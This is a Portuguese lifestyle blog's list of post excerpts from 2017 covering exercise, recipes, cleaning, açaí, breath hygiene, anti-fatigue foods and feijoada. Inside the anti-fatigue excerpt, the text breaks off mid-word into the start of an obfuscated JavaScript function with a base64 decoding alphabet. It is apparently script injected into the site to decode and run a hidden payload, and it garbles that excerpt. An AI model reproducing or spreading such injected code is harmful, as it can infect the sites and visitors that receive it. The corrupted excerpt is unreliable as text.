Glúteos mais definidos – 5 exercícios

Mar 9, 2017 | À descoberta, Dicas úteis

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Glúteos mais definidos – 5 exercícios     O calor chegou e as preocupações com o corpo aumentam. Hoje dou-lhe a conhecer 5 dos melhores exercícios que ajudam a tonificar os glúteos. Caso tenha essa zona do corpo pouco firme saiba que estes exercícios garantem...

2 bolos irresistíveis para as mulheres da sua vida

Mar 7, 2017 | Dicas úteis, Receitas

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2 Bolos irresistíveis para as mulheres da sua vida     O Dia da Mãe está a chegar e nada melhor que surpreender as mulheres da sua vida com um bolo caseiro feito por si. Hoje trago-lhe duas sugestões absolutamente deliciosas que pode cozinhar para a sua mãe, avó,...

Soluções caseiras para ter uma casa de banho a brilhar

Mar 5, 2017 | Dicas úteis

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Soluções caseiras para ter uma casa de banho a brilhar     A casa de banho é uma das divisões de nossa casa que merece mais atenção. A acrescentar aos cuidados diários, o ideal é fazer uma limpeza profunda pelo menos uma vez por semana. Mas, para tornar esta tarefa...

Dicas saudáveis – 9 benefícios do açaí

Mar 2, 2017 | Dicas úteis, Saúde e bem estar

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Dicas saudáveis – 9 benefícios do açaí   O açaí é um fruto com muitos benefícios para a nossa saúde que o Brasil deu a conhecer ao mundo. Sabia que este fruto cresce nas florestas tropicais da Amazónia? É riquíssimo em proteínas, fibras, lípidos e é uma verdadeira...

Dicas para ter um hálito fresco e saudável

Fev 22, 2017 | Dicas úteis

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Dicas para ter um hálito fresco e saudável   Manter uma boa higiene oral, com a escovagem diária dos dentes e o uso do fio dentário, é o primeiro passo para combater o mau hálito. Mas manter uma boca fresca vai muito além da pasta de dentes, do fio dentário e  do...

10 alimentos para combater a fadiga

Fev 20, 2017 | Dicas úteis

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10 alimentos para combater a fadiga   De certeza que sabe reconhecer o estado de fadiga. É qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

Benefícios do feijão + receita feijoada saudável

Fev 18, 2017 | Dicas úteis, Receitas

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Benefícios do feijão + receita feijoada saudável   Os benefícios do feijão são imensos. Posso desde já adiantar alguns: é rico em fibra, uma excelente fonte de proteína, ferro, cálcio e vitaminas do complexo B. Ajuda a baixar os níveis de colesterol e os níveis de...